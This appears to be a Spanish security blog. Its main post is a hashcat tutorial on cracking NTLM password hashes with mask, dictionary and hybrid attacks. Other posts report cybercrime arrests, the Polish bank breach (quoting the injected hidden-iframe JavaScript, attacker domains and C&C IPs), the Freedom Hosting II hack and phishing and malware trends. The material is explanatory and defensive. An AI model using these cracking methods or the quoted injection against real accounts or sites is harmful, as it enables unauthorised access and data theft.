miércoles, 15 de febrero de 2017

Cracking de contraseñas con hashcat

En esta entrada, he querido hacer una recopilación de los distintos métodos de ataque para la obtención de contraseñas mediante la herramienta Hashcat, posiblemente la herramienta más extendida y eficaz para este propósito, al alcance de cualquier persona interesada en el tema.
Para ello he decidido utilizar la versión 3.00 de la misma, ya que a partir de esta versión se deja de lado la separación entre ataques basados en la potencia de la CPU(antiguo Hashcat) y los ataques basados en la potencia de las tarjetas gráficas (HaschatOCL), para unir en una sola herramienta ambas opciones, aunque la mayor parte de los ataques que se explicarán en este artículo son válidos en versiones anteriores de esta herramienta.
Una de las tareas más importantes a la hora de crackear contraseñas cuando no disponemos de tiempo infinito (que suele ser bastante a menudo), es la planificación del propio ataque. Para ello, deberemos medir el tiempo que tenemos para el mismo, y en función de éste, limitar nuestras opciones de crackeo a aquellas tipologías de contraseña que creamos más probables de obtener en el tiempo que disponemos. Ésta no es una tarea sencilla, ya que la tipología de las contraseñas utilizadas puede depender de muchos factores entre los que se encuentra, por ejemplo, el país y el lenguaje de los usuarios de esas contraseñas o la edad media de los mismos, por lo que cuanta más información de contexto tengamos más podremos afinar en nuestra planificación.

Aun así, todos sabemos que la raza humana, con toda la diversidad de civilizaciones, etnias, ideologías, niveles socioculturales y económicos que la conforman, converge en un único pensamiento cuando de forma inesperada, recibe estas solemnes palabras: “Inserta tu nueva contraseña”: “Pues pongo mi nombre”
Afortunadamente, existieroncd /pwd personas antes que nosotros que se dieron cuenta de este hecho y pusieron límites a este pensamiento, haciendo obligatorio que la respuesta a esa pregunta contuviera, por ejemplo, mayúsculas, minúsculas y algún número. Pero una vez más, gran parte de la humanidad se unió telepáticamente para dar una repuesta única: “Pues mi nombre en mayúscula y mi año de nacimiento”.
Evidentemente he exagerado un poco en esa respuesta única, todas las personas no son iguales, por lo que existen distintas variantes de esa respuesta en las que se puede cambiar el nombre de la persona por el nombre de la mascota o el nombre del pueblo natal y la fecha de nacimiento por la edad en años, con la ventaja añadida de que se puede cambiar cada año de contraseña simplemente sumándole un año a la del año anterior. Todas estas variantes hacen del crackeo de contraseñas un ejercicio bastante entretenido.
A modo de ejemplo para este post, elegiremos nos centraremos en el objetivo de obtener las contraseñas de un máximo de 12 caracteres, que empiecen por un nombre seguido de la fecha de nacimiento, e intentaremos optimizar esta búsqueda mediante las distintas opciones que nos ofrece hashcat.
En primer lugar, partiremos de la base que ya disponemos de la herramienta hashcat en nuestro equipo y de que tenemos un archivo hashdump.txt con hashes de contraseñas obtenidos en una auditoria a equipos Windows mediante la herramienta hashdump, el cual tiene el siguiente formato:
user1:7362:aad3b435b51404eeaad3b435b51404ee:b562d5031359813a06914d562d421acd:::
user2:7787:aad3b435b51404eeaad3b435b51404ee:3b7a5bb9f8a12f74dadb7adf740cf7c1:::
user3:7788:aad3b435b51404eeaad3b435b51404ee:2501dd5aa075d4854559a5ee023df798:::
user4:7789:aad3b435b51404eeaad3b435b51404ee:11cdb1cb2b21aba701d1113fcf6e3c4f:::
user5:7790:aad3b435b51404eeaad3b435b51404ee:722ab3c822cb6a49bf89830bb5ffaea9:::
user6:7800:aad3b435b51404eeaad3b435b51404ee:79aff34e34c1fa16fffc7c6765e23636:::
user7:7801:aad3b435b51404eeaad3b435b51404ee:73366d77424b259794cac80f4e3fc8c9:::
user8:7803:aad3b435b51404eeaad3b435b51404ee:e2ad4eff06322cf9240ab93288fda61c:::
Este formato contiene, para cada línea, los siguientes campos separados por ‘:’
(Usuario):(SID):(hash LM):(hashNTLM):::
Como podemos observar, el tercer campo (hash en formato LM) es siempre el mismo para todas las entradas (aad3b435b51404eeaad3b435b51404ee). Este hash corresponde con el hash LM de la cadena vacía, e indica que el sistema de donde hemos obtenido la tiene deshabilitado los hashes LM (deshabilitado por defecto a partir del Windows Vista), por lo que nos centraremos en el cuarto campo (hash NTLM).
Lo primero que haremos crear un archivo ntlm.hp que contenga únicamente ese campo, mediante cualquier herramienta que nos lo permita, por ejemplo AWK:
awk –F’:’ ‘{print $4 >> ntlm.hp}’ hashdump.txt
Ahora necesitamos indicarle a hashcat el tipo de hash que le estamos proporcionando, y lo haremos utilizando el parámetro –m (hash mode).
Observando el apartado [ Hash modes ] con el comando ./hashcat64.bin -h podemos obtener este valor (1000):

Con todo esto, lo siguiente será elegir entre los distintos tipos de ataques que nos proporciona Hashcat, los cuales los podemos ver en el apartado [ Attack Modes ] de la misma ayuda.

0 – Straight
Este ataque es el que conocemos como ataque por diccionario. Haschat comprobara si la contraseña corresponde con alguna de las palabras del diccionario que le pasemos como argumento.
1 – Combination
En este caso, hashcat recibirá dos diccionarios como argumentos, y comprobará si la contraseña corresponde con la combinación de cada uno de los términos del primer diccionario con cada uno de los términos del segundo.
3 – Brute-force
Al contrario de los casos anteriores, en este caso el propio hashcat será el encargado de generar las contraseñas que comprobara contra los hashes. Para esto, se basará en las llamadas máscaras, mediante las cuales podremos indicarle que tipo de contraseñas queremos que genere.
4 – Hybrid
Hashcat nos permite combinar la potencia de los ataques por diccionario y los ataques por fuerza bruta (mask atacks). En los ataques híbridos, podremos generar parte de una contraseña con los términos de un diccionario y completarla mediante máscaras.
Como hemos adelantado anteriormente, a continuación intentaremos cumplir nuestro objetivo de obtener todas aquellas contraseñas que contengan un nombre seguido de una fecha de nacimiento mediante los tipos de ataque mostrados anteriormente.

Brute-force (Ataque con máscaras)

Para ejecutar esta modalidad de ataque sobre nuestro archivo de hashes NTLM, únicamente necesitaremos decirle a hashcat que el tipo de hashes que contiene el archivo es NTLM (-m 1000) y que queremos ejecutar un ataque por fuerza bruta (-a 3).v
hashcat64.bin –m 1000 –a 3 ntlm.hp
Si ejecutamos este comando, hashcat generará y comprobará contraseñas a partir de una serie de máscaras predefinidas por defecto, pero para el objetivo de este artículo, crearemos nuestras propias máscaras.
¿Pero que es una máscara? Una máscara es un conjunto de reglas que indican como están formadas las contraseñas que queremos generar. Más concretamente, una máscara especificará, para cada posición de la contraseña, el conjunto de caracteres que puede tener.
Cada posición de nuestra máscara puede contener un carácter fijo o un charset, que no es más que un conjunto caracteres.
Al contrario de los caracteres fijos, los charsets irán precedidos del signo de interrogación.
En la propia ayuda de hashcat podemos observar los charsets predefinidos de hashcat:

Como se puede observar, todos los charsets son una serie de caracteres definidos, excepto el charset ?a, que está formado por la combinación de los charsets ?l,?u,?d y ?s.
La razón de esto es que hashcat permite definir un charset como la combinación de otros charsets, por ejemplo, si quisiéramos definir un charset que contuviera tanto mayúsculas como minúsculas podríamos definirlo de la siguiente manera: ?l?u
Ejemplos de ataques utilizando máscaras:
hashcat64.bin –m 1000 –a 3 ntlm.hp pass1234
Comprobaría únicamente la contraseña (pass1234), mientras que el comando:
hashcat64.bin –m 1000 –a 3 ntlm.hp pass?d?d?d?d
Comprobaría todo el espectro de contraseñas que empezaran por “pass” y cuyos cuatro siguientes caracteres fueran dígitos decimales (pass0000-pass9999)
Mediante la máscara ?a?a?a?a?a?a?a?a?a?a?a?a, podemos simular un típico ataque por fuerza bruta para comprobar todas las contraseñas de 12 caracteres de cualquier combinación de dígitos decimales, signos, mayúsculas y minúsculas.

Además, para no tener que crear una máscara para cada longitud de contraseña que queramos probar, hashcat nos proporciona el argumento –i (–increment), con el que hashcat irá probando iterativamente las n primeras posiciones de la máscara para cada iteración hasta el máximo de caracteres que hayamos especificado con el argumento –increment-max o el tamaño de la máscara en caso de que no se lo hayamos especificado.
Por ejemplo para el comando:
./hashcat64.bin –m 1000 –a 3 ntlm.ph ?a?a?a?a?a –i –increment—min 2 increment—max 4
Se probarán secuencialmente las máscaras:
?a?a
?a?a?a
?a?a?a?a
Como podemos observar en la línea Progres y Time.estimated de la imagen, al ejecutar el ataque mediante la máscara ?a?a?a?a?a?a?a?a?a?a?a?a, se generarán y se comprobarán un total de 180602555536776954753 combinaciones, que en nuestra máquina, que dispone de 2 potentes tarjetas gráficas, tardaría más de 10 años en completarse.
Con el fin de reducir las combinaciones posibles para nuestro objetivo, podríamos utilizar la máscara ¿u?l?l?l?l?l?l?l?ld?d?d?d que comprendería todo el espectro de contraseñas desde Aaaaaaaa0000 hasta Zzzzzzzz9999.

Esto incluiría prácticamente todos los nombres posibles de hasta 8 letras seguidos de todas las fechas de nacimiento desde el año 0 hasta el 9999 D.C.
Aunque hemos reducido considerablemente el tiempo necesario para probar todas las posibles combinaciones de nuestro objetivo de más de 10 años a menos de 2 días, todavía estamos probando muchas contraseñas que no se ajustan a nuestro objetivo, como por ejemplo todas aquellas que contengan una fecha de nacimiento anterior a 1900 o posterior a 2017, por lo que todavía podemos intentar reducir este tiempo creando una máscara que descarte las mismas, y para ello, será necesario definir nuestros propios charsets.
Hashcat permite utilizar para cada ataque 4 charsets (custom-charsets) personalizables por el usuario, mediante los argumentos -1, -2, -3 y -4.
En este caso, necesitaremos crear 2 máscaras, una para aquellas contraseñas que contengan la fecha de nacimiento desde 1900 hasta 1999:
./hashcat64.bin -m 1000 -a 3 ntlm.hp ?u?l?l?l?l?l?l?l19?d?d
Y otra para aquellas del 2000 al 2017.
./hashcat64.bin -m 1000 -a 3 ntlm.hp -1 01 -2 012345678 ?u?l?l?l?l?l?l?l20?1?2
Para esta última, hemos definidos 2 charsets propios:
-1 01, que utilizaremos para decirle a la máscara que el carácter que representa las decenas de la fecha de nacimiento solo podrá contener el valor 0 o 1, y así evitar que genere aquellas fechas desde 2020.
-2 012345678, que utilizaremos para evitar que genere la contraseña 2019.
EDIT: También elimina la 2009

Con esto, habremos reducido el tiempo de cerca de 2 días a menos de 30 minutos.
Hay que tener en cuenta que para nuestro objetivo, no podemos utilizar la opción –incremental, ya que esta opción no cumpliría nuestros requisitos al ir eliminando las últimas posiciones de la máscara, por lo que tendremos que crear una máscara distinta para cada longitud de contraseña de la siguiente manera:
¿u?l?l?l?l?l?l?l?ld?d?d?d
¿u?l?l?l?l?l?l?ld?d?d?d
¿u?l?l?l?l?l?ld?d?d?d
….
¿u?l?d?d?d?d
Para complicar algo más la cosa, algunos administradores, han tenido la valentía enfrentarse a la furia de los usuarios y les han obligado a crear contraseñas que contengan al menos, un signo de puntuación.
Para contemplar esta opción, podríamos añadir a nuestra máscara la opción de que se los nombres también contuvieran signos de puntuación.
Para ello añadiremos los customs-charsets:
-3 ?u?s : Donde antes habían mayúsculas ahora también pueden haber símbolos
-4 ?l?s : Donde antes habían minúsculas ahora también pueden haber símbolos

Como podemos observar, al añadir estas opciones volveremos a aumentar el tiempo estimado en 2 días, ¿podríamos optimizar esto un poquito más?
Una de las cosas a tener en cuenta con este ataque, es que obtendríamos aquellas contraseñas como Paquito.2010, pero también cosas como ##_*#.-##2010.
Aunque en algunos contextos puede valer la pena comprobar este tipo de contraseñas, Según nuestra teoría del pensamiento universal, la mayoría de gente intentará realizar el mínimo esfuerzo para cumplir con las políticas de contraseña, por lo que optarán con poner un solo símbolo de puntuación.
Con esta premisa, crearemos una máscara para cada posición en la que pueda estar el signo de puntuación, evitando así la generación de contraseñas en las que haya más de un signo de puntuación.

Con una media de 5 minutos y 30 segundos para cada máscara con un signo de puntuación, necesitaremos cerca de 60 minutos para comprobar todas las posibles posiciones del signo de puntuación.
Como hemos observado, para optimizar nuestra búsqueda, ha sido necesario crear distintas máscaras, lo que genera el inconveniente de tener que estar pendientes de que acabe un ataque con una máscara para ejecutar la otra.
Para evitar esta situación, hashcat permite pasarle como argumento un archivo de máscaras (una por línea), que ejecutara secuencialmente, para ello dispone del directorio masks, donde podemos encontrar ejemplos de máscaras. Además, esto nos permitirá tener almacenadas las diferentes estrategias de ataque que vayamos creando para utilizarlas cuando más nos convenga. En nuestro caso, el archivo con las máscaras tendría esta forma.

Como podemos observar en las últimas máscaras de la imagen, cuando especificamos nuestros propios charsets para cada máscara en un fichero, no lo haremos de la misma manera que en la línea de comandos. Sino que separaremos cada uno de los custom-charsets por comas.
Por ejemplo, donde antes teníamos los ataques:

./hashcat64.bin –m 1000 –a 3 -1 ABC -2 aeiou ?1?1?1?1?2?2?2?2
./hashcat64.bin –m 1000 –a 3 -1 ?l?u ?a?a?a?a?1?1?1?1
Ahora tendremos un fichero ejemplo.hcmask que contendrá las líneas:
ABC,aeiou,?1?1?1?1?2?2?2?2
?l?u,?a?a?a?a?1?1?1?1
Y ejecutaremos el ataque con el siguiente comando.
./hashcat64.bin –m 1000 –a 3 ejemplo.hcmask
Los charsets que definamos, también puedes que pueden ser almacenados en ficheros .hcchr para poder utilizarlos posteriormente. Encontraremos ejemplos de estos ficheros en el directorio charsets.

Straight (Ataque por diccionario)

Aunque hemos conseguido optimizar bastante nuestra búsqueda mediante ataques basados en máscaras, las probabilidades de que exista alguna persona que se llame Aaaaaaaaa o Zxcfdcvilio son bastante bajas, así que todavía tenemos opciones de optimizar nuestro ataque.
Cuando tenemos una lista de palabras que puedan ser candidatas a formar parte de las contraseñas que estamos buscando, existe la opción de realizar un ataque por diccionario. Para nuestro ejercicio, por ejemplo, podemos utilizar los datos que nos proporciona el instituto nacional de estadística en su página web www.ine.es/daco/daco42/nombyapel/nombyapel.htm, donde tenemos un listado con todos los nombres femeninos y masculinos junto con datos estadísticos, lo que nos permitirá además, crear un diccionario ordenado con los nombres de mayor a menor frecuencia, aumentando así la probabilidad de encontrar más contraseñas en un tiempo menor.
Para ejecutar este ataque únicamente necesitaremos indicarle el tipo de hash seguido del archivo de hashes y el archivo que contenga el diccionario, que en este caso será un archivo que contendrá los 9098 nombres más comunes de España.
./hashcat64.bin -m 1000 -a 0 ntlm.hp nombres.dict

Como podemos observar en la hora de inicio y fin del ataque, la finalización del mismo es casi instantánea.
Pero con este ataque, no estamos cumpliendo con el requisito de que las contraseñas que finalicen con una fecha de nacimiento. Para cumplir con este requisito, tendríamos la opción de modificar el diccionario añadiendo a cada nombre incluido en el todas las fechas posibles, pero hashcat nos facilita esta tarea mediante los ataques híbridos.

Ataques híbridos ( diccionario + máscara)

Hashcat dispone de dos variantes de ataques híbridos, la opción -6 (dict + mask), en la que generará contraseñas añadiendo la máscara al final de cada término de diccionario, y la opción -7, en los que generará contraseñas añadiendo la máscara al inicio de cada termino.
Para el objetivo que nos traemos entre manos, bastaría ejecutar un ataque hibrido -6 (dict+mask) con el fin de añadir todas las posibles fechas a cada nombre del diccionario. Teniendo en cuenta que la ejecución del ataque por diccionario ha sido instantánea, nos permitiremos el lujo de utilizar como mascara todas las combinaciones de 4 dígitos (d?d?d?d).
./haschat64.bin -m 1000 -a 6 ntlm.hp nombres.dict ?d?d?d?d

Este ataque también finaliza instantáneamente.
Aunque los tiempos obtenidos mediante el ataque por diccionario y los ataques híbridos han sido con diferencia los más bajos de todas las pruebas, estos ataques ofrecen poca flexibilidad para generar contraseñas con patrones más complejos, como por ejemplo, para añadir que la primera letra del nombre sea en mayúscula (habría que añadir todos los nuevos nombres con la inicial en mayúscula al diccionario), o considerar la opción de que haya un signo de puntuación presente en la contraseña.

Para ello, hashcat nos ofrece lo que llama ataques basados en reglas. Pero esto lo veremos en la segunda parte de este post.

martes, 14 de febrero de 2017

Cinco delincuentes informáticos arrestados en 2016



Aunque los delincuentes informáticos pueden actuar de muchas formas diferentes, por ejemplo, creando virus, engañando a los usuarios para hacerse con sus datos, vendiendo fallos zero-day a otros delincuentes o robando datos bancarios, por ejemplo, la principal finalidad de todos ellos es conseguir beneficio económico por sus acciones. Debido a la complejidad de la red, además, cada vez es más complicado dar con ellos, aunque debemos recordar que es imposible mantener un anonimato del 100% en la red y, aunque sea complicado, al final el mínimo rastro inapreciable terminará desvelando su identidad y, con ello, causando su detención.

A lo largo de 2016, las fuerzas de seguridad de los distintos países del mundo han detenido a un gran número de delincuentes informáticos de todo el mundo.

Ardit Ferizi, un delincuente informático a favor de ISIS




Ardit Ferizi, aka "Th3Dir3ctory" ("FERIZI") es un ciudadano de Kosovo de 20 años condenado a 20 años de prisión por colaborar con la organización terrorista ISIS. Este delincuente proporcionaba soporte y material a dicho grupo terrorista con el fin de ayudarlos a acceder de forma remota a otros equipos y robar datos personales de otros usuarios, entre otros, los datos de cerca de 1.500 militares estadounidenses y otras personas relevantes del gobierno.

Harold, "el nuevo Snowden"

Harold Thomas Martin III era un contratista de Booz Allen Hamilton para la NSA que, durante todo el tiempo que estuvo trabajando para la organización, logró robar más de 50 TB de datos sensibles de la misma, hasta que finalmente fue detenido a finales de 2016, aunque aún está pendiente de juicio. Entre la información robada por este delincuente informático podemos destacar más de 500 páginas consideradas como "alto secreto".

No se sabe si el ex-contratista consiguió vender la información a la Deep Web, pero en su cartera de Bitcoin tenía más de 300.000 dólares recibidos recientemente.

El príncipe nigeriano Mike

Es muy probable que todos hayamos recibido, tarde o temprano, una donación de miles de dólares por parte de un príncipe nigeriano que, al parecer, es pariente nuestro. Aunque durante muchos años este príncipe ha permanecido en el anonimato, finalmente hemos podido darle nombre, Mike, y edad, 40 años. Este delincuente ha sido acusado de estafar en todo el mundo más de 60 millones de dólares, además de estar relacionado con la distribución de malware y de otras prácticas de fraude online.

Junto a él, las fuerzas de seguridad detuvieron a otro hombre de 38 años con cargos similares, con lo que hemos podido saber que el príncipe Mike no operaba solo.

Paul Biteng, el delincuente informático de COMELEC

En marzo de 2016, un delincuente informático consiguió acceder a los servidores de la Philippine Commission on Elections (COMELEC) y hacer un sencillo deface a dicha página web. Durante la intrusión, los más de 55 millones de votantes filipinos quedaron expuestos y también fueron robados y filtrados, por lo que las fuerzas de seguridad empezaron a investigar el hecho hasta que, finalmente, dieron con el responsable.

El 20 de abril, las fuerzas de seguridad filipinas detenían a un joven de 20 años, Paul Biteng, acusado tanto del deface como del robo de los datos, aunque este delincuente negaba ser responsable del robo y de la publicación de los datos.

Poco más tarde se detenía a un nuevo joven de 23 años, esta vez sí, responsable del robo y la publicación de los datos de los votantes. Ambos aún están a la espera de juicio.

Los hackers que robaron fotografías de Instagram

Por último, también fue detenido en 2016 un grupo de delincuentes de entre 18 y 19 años, cuyos nombres no han sido facilitados, responsables de utilizar técnicas de ingeniería social para conseguir acceder a cuentas de Instagram de un gran número de usuarios, recopilar y publicar sus fotografías personales. Estos jóvenes aún se encuentran a la espera de juicio.

El creador de "xploits .com .ar" arrestado

Como extra, y en el ámbito local, en noviembre la policía argentina arrestó a programador que creaba exploit kits, programas para captar las contraseñas correspondientes a usuarios de distintas aplicaciones y servicios web, ilegalmente.

Fuente: Redes Zone

jueves, 9 de febrero de 2017

Hackean varios bancos en Polonia infectándoles a través de un Organismo Financiero Gubernamental.


Esta semana ha saltado a la primera plana internacional el que ya está considerado como el mayor incidente de Ciberseguridad en la historia de Polonia: varios bancos del país han sido víctimas de un Malware y la fuente de la infección fue la Autoridad de Supervisión Financiera de Polonia (KNF), organismo oficial encargado precisamente de garantizar la seguridad en el sector financiero.

Por el momento se desconoce el número total de bancos afectados aunque se teoriza sobre unas 20 entidades distintas y se ha reportado la infección tanto de estaciones de trabajo como de servidores en varias instituciones bancarias de Polonia. Solamente se ha confirmado la exfiltración de datos e información confidencial y se ha descartado el robo de dinero o manipulación de cuentas bancarias, aunque el tráfico detectado contenía gran cantidad de datos cifrados por lo que es imposible discernir de momento el contenido.

La información es a día de hoy escasa y difusa, ya que está siendo controlada con cuentagotas para mitigar el posible pánico que pudiera desencadenar entre usuarios y clientes. 

El detonante de la investigación fue la detección de tráfico inusual a localizaciones exóticas y el hallazgo de ciertos ejecutables cifrados en servidores de varias entidades, quienes al cotejar los resultados de sus análisis y las IOC dieron la voz de alarma.

Vía de Entrada

Las primeras investigaciones señalan que el punto de partida de la infección fue el servidor web del regulador financiero polaco antes mencionado, KNFwww.knf.gov.pl

Dicha web ha permanecido caída durante los últimos días y hoy durante toda la jornada únicamente ha sido accesible desde Polonia y ha estado bloqueando por geolocalización toda conexión externa.

Mensaje de error en la web del KNF
Bloqueo por geolocalización de la web del KNF: conexión desde fuera y dentro de Polonia
El artículo de BadCyber escrito por varios analistas que han tenido acceso privilegiado a la investigación relata que el código de una librería Javascript de dicho servidor habría sido alterado para cargar un fichero Javascript JSP externo alojado en un servidor remoto, aunque se desconoce cómo se habría logrado en primera instancia dicha modificación inicial.

El código malicioso inyectado estaba localizado en el fichero:
hxxp://www.knf.gov.pl/DefaultDesign/Layouts/KNF2013/resources/accordian-src.js?ver=11
Y consistía en las siguiente líneas:
document.write("<div id='efHpTk' width='0px' height='0px'><iframe 
name='forma' src='hxxps://sap.misapor.ch/vishop/view.jsp?pagenum=1' 
width='145px' height='146px' style='left:-2144px;position:absolute;top:0px;
'></iframe></div>");

Dicho fragmento de Javascript varía de unas versiones a otras en cuanto a la URL y el fichero que carga. A continuación una lista de todos posibles dominios maliciosos encontrados y relacionados con el ataque:
  • sap.misapor.ch 
  • www.eye-watch.in
  • ocmlaptops.co.uk
  • ournepal.com 
  • impacthomes-my.sharepoint.com
  • pharmacareaus-my.sharepoint.com
  • cpsnortherngroup.com 
  • Polakwchinach.pl
Se desconoce el contenido de dichos ficheros Javascript/JSP ya que los recursos parecen no estar disponibles y los servidores devuelven un HTTP 404 o un HTTP 202 con un archivo sin contenido. 
Se cree firmemente que descargaba un fichero en el equipo de la víctima el cual al ser ejecutado realizaba conexiones con varios servidores controlados por los atacantes permitiéndoles funcionalidades como tomar el control del equipo y propagarse por la red interna.

Servidor C&C

En los logs analizados de equipos infectados se han detectado conexiones a dos IPs distintas:
  • 125.214.195.17
  • 196.29.166.218
Detrás de una de esas IPs parece haber un servidor en Sudán bastante abierto:



Fuente de las imágenes: https://twitter.com/v0id_hunter/status/828693925057675265

Malware
Aun no está clara la autoría de estos ataques, pero los análisis forenses pertinentes dejan entrever que el problema se remonta a mediados de 2016, lo que significa que los bancos han sido víctimas del espionaje durante más de 6 meses.
El malware utilizado en Polonia usa packers comerciales y múltiple ofuscadores, recurre al cifrado de ficheros y tráfico, y en el momento de los análisis ningún Antivirus era capaz de detectarlo. El payload final tenía las funcionalidades de un RAT común.

Ciertos analistas destacan como posible candidato a relacionar con dicho malware a una APT bautizada como "Bluenoroff" que fue detectada en 2016 y cuya incidencia se ha disparado en los últimos meses. 
El siguiente informe de Telefónica del pasado noviembre habla sobre dicha APT basándose en análisis realizados por Karspersky sobre una muestra obtenida de un ataque al Banco de Indonesia. Según el citado documento, "Bluenoroff" fue el malware utilizado en los ataques contra el sistema SWIFT en Bangladesh, Indonesia, India y otros países del sudeste asiático, y presenta similitudes con otro usado previamente en ataques contra bancos en Vietnam.

A la espera de nuevos avances en las investigaciones, de momento sólo se han compartido los hashes de algunas de las muestras analizadas:


MD5
C1364BBF63B3617B25B58209E4529D8C
85D316590EDFB4212049C4490DB08C4B
1BFBC0C9E0D9CEB5C3F4F6CED6BCFEAE


SHA1 
496207DB444203A6A9C02A32AFF28D563999736C
4F0D7A33D23D53C0EB8B34D102CDD660FC5323A2
BEDCEAFA2109139C793CB158CEC9FA48F980FF2B
SHA256 
FC8607C155617E09D540C5030EABAD9A9512F656F16B38682FD50B2007583E9B
D4616F9706403A0D5A2F9A8726230A4693E4C95C58DF5C753CCC684F1D3542E2
CC6A731E9DAFF84BAE4214603E1C3BAD8D6735B0CBB2A0EC1635B36E6A38CB3A


Fuentes:
https://zaufanatrzeciastrona.pl/post/wlamania-do-kilku-bankow-skutkiem-powaznego-ataku-na-polski-sektor-finansowy/
https://badcyber.com/several-polish-banks-hacked-information-stolen-by-unknown-attackers/
https://twitter.com/v0id_hunter/status/828693925057675265
http://thehackernews.com/2017/02/bank-hacking-malware.html

miércoles, 8 de febrero de 2017

Cómo dieron de baja el 20% de la Dark Web


Hace unos días un hacker consiguió cerrar más de alrededor del 20% de las páginas web que existen en la actualidad en la Dark Web, todas ellas alojadas en los servidores de una empresa llamada Freedom Hosting II. Los visitantes que intentaban acceder a esas páginas web recibían un mensaje diciendo "Hola, Freedom Hosting II: habéis sido hackeados".

Freedom Hosting ya tuvo problemas con las autoridades

Es probable que alguno de vosotros recuerde el nombre de Freedom Hosting. El pasado mes de noviembre recogíamos que el FBI había infectado con malware ese servicio de alojamiento web con el objetivo de hackear 23 páginas web, entre las que se encontraba TorMail. Ese servicio web era utilizado, entre otros, por cuentas de usuario que compartían contenido de pornografía infantil. Ese es el motivo por el que el hacker ha bloqueado el acceso a las páginas web de Freedom Hosting II, ya que la esta segunda versión seguía alojando este tipo de contenido.

El hacker consiguió acceder al servicio el pasado 30 de enero, pero sólo tenía permisos de lectura. Sólo podía ver las páginas web que estaban alojadas en el servicio, pero no podía cambiar ni eliminar ningún archivo. En un principio sólo quiso ver qué contenido había alojado por pura curiosidad. El problema es que encontró varias páginas web que alojaban pornografía infantil.

Sólo 21 pasos para hackear al servicio de la Dark Web

El hecho es que Freedom Hosting II sólo permitía 256 MB de almacenamiento gratuito. Las páginas web ilegales que descubrió el hacker llegaban a ocupar hasta 30 GB, por lo que las páginas pagaban por el alojamiento. De ahí, el hacker dedujo que el dueño de Freedom Hosting II tenía que saber qué tipo de contenido se estaba alojando en sus servicios, por lo que procedió a cerrarles el servicio. En total, el hacker descubrió al menos 10 páginas web de este tipo.



El proceso que siguió se divide en 21 pasos. En resumen, el proceso se inicia creando una nueva página web alojada en Freedom Hosting II o logueándose en una antigua. Luego se hacen unos cuantos cambios en el archivo de configuración, se solicita un cambio de contraseña en la página web objetivo, se consigue acceso root, y finalmente se accede al sistema con privilegios de administrador.

Antes de borrar todos los datos, el hacker hizo una copia de seguridad de los mismos y los hizo públicos, aunque eliminando los datos de los usuarios. Estos datos sólo estarán presentes en los archivos que envíen a investigadores de seguridad, que a su vez enviarán a las autoridades para realizar las debidas detenciones. La mitad de la información obtenida, según afirman, era pornografía infantil. Entre las otras páginas web se encontraban algunas de escrow con Bitcoins, estafas que siguen el esquema Ponzi y foros de hackeo. En total, fueron 10.613 webs cuyos nombres concretos están recopilados en esta lista.

El grupo de hackers que ha dicho estar relacionado con Anonymous ha acabado con estas páginas web de dominio .onion accesibles sólo a través de Tor. Por desgracia, es probable que surja posteriormente un Freedom Hosting III, ya que es el procedimiento natural en este tipo de casos. En Internet, cuando se cierra una web, se abre otra.

martes, 7 de febrero de 2017

Tendencias de malware. Enero 2017

Un mes más, desde el laboratorio de malware de S2 Grupo, queremos compartir con vosotros lo que se está cociendo en el mundo del malware. Recordad que en este tipo de entradas encontraremos amenazas conocidas, vistas en otras fuentes o analizadas directamente en nuestro laboratorio, pero el objetivo del post es conocer qué tipo de amenazas están activas.
A continuación mostramos un diagrama con la información recopilada este mes desde el laboratorio:

Empezamos con una amenaza que no está muy elaborada, pero que nos gustaría nombrar puesto que está en perfecto castellano y no es algo muy común en ataques genéricos dirigidos a España ya que generalmente utilizan traductores o tienen fallos bastante llamativos. Esta amenaza es un phishing que ha estado llegando por correo electrónico y en algunos casos venía adjunto un fichero HTML y en otros casos un PDF.
En el primero de los casos, el fichero HTML adjunto utiliza la etiqueta “<meta>” para redirigir a una web clonada de GoogleDrive. Para ello, usan un método muy utilizado últimamente con fines maliciosos que consiste en cargar desde la barra de direcciones del navegador, una web codificada en Base64 dentro de la misma URL de la siguiente manera:
data:text/html;base64,[CódigoHTMLenBase64]
Por ejemplo:
data:text/html;base64,PEhUTUw+DQo8Ym9keSBvbmxvYWQ9ImFsZXJ0KCdOb3NvdHJvcyBzb21vcyBidWVub3MsIHBlcm8gZGViZXImaWFjdXRlO2FzIGhhYmVybG8gZGVjb2RpZmljYWRvIGFudGVzIGRlIHByb2JhcmxvIDopICcpIj4NCjwvYm9keT4NCjwvSFRNTD4=
En el otro caso que comentábamos, viene adjunto un PDF como el siguiente:
En este caso, al dar click en el botón el PDF nos manda a una web clonada, utilizando el mimo método, que nos muestra el siguiente contenido:
Si iniciamos sesión en esta página nos envía a la dirección: http://wordpressplugis.com/Eyor/results7.php con nuestros datos incluidos en la url de la siguiente forma:
country=Gmail&email=fakemail%40gmail.com&addresszip=passwordfake&mobile=666666666
Nos llama la atención que los nombres de los parámetros no coinciden con su contenido y el hecho de que el fichero PHP se llame results7.php. Puede que los nombres de los parámetros sean esos para evitar llamar la atención de NIDS con cadenas como “Password=” aunque también podría tratarse de código reutilizado de cualquier tutorial al que le han tenido que dedicar siete intentos para conseguir que funcione…
Otro caso interesante ha sido el del ransomware Spora, el cual también tiene capacidades de gusano lo que significa que aparte de cifrar todos tus ficheros, se copia a sí mismo en las memorias USB y discos conectados al host infectado para expandirse a otros sistemas en los que se conecte el dispositivo en cuestión posteriormente. Esto no es algo nuevo pero desde que se empezaron a bloquear los ficheros “autorun.inf” se ha complicado un poco para los bichos realizar estos saltos entre ordenadores. Este malware utiliza una técnica bastante curiosa que se basa en el sistema comentado en este post anterior. Sustituye todas las carpetas y ficheros por accesos directos con el mismo icono y nombre, pero que realizan funciones extra a partir del método comentado en ese post anterior. Y para que quede más limpio, eliminan la característica “flechita” blanca de los accesos directos (ejemplo de acceso directo) que se puede observar en la esquina inferior izquierda de los accesos directos eliminando la entrada de registro “HKCR\lnkfile\isShortcut” dejando como resultado algo como esto:
Otro caso a remarcar es el hecho de la aparición de malware bancario para Android, el cual empieza por rootear el dispositivo para tener control total del mismo y quedarse esperando a que accedas a una aplicación bancaria para superponer una interfaz de acceso falsa. De esta forma pueden llegar a robar tus datos, tener la capacidad de capturar los SMS y eliminarlos del dispositivo, de forma que podrían llegar a realizar operaciones libremente.
El caso es que este último, conocido como “Bankbot”, se basa en el código de uno más antiguo que ha sido liberado por foros relativos a malware, por lo que es probable que esta sea la primera de muchas variantes, ya que esto les da la mayor parte del trabajo hecho a los malos de forma relativamente fácil.
Por último, nos gustaría repasar la actividad reciente de los dos ExploitKits(EK) con más actividad durante este mes. Estos han sido RIG, su versión E (Empire Pack) y su versión “Premium” V y Sundown.
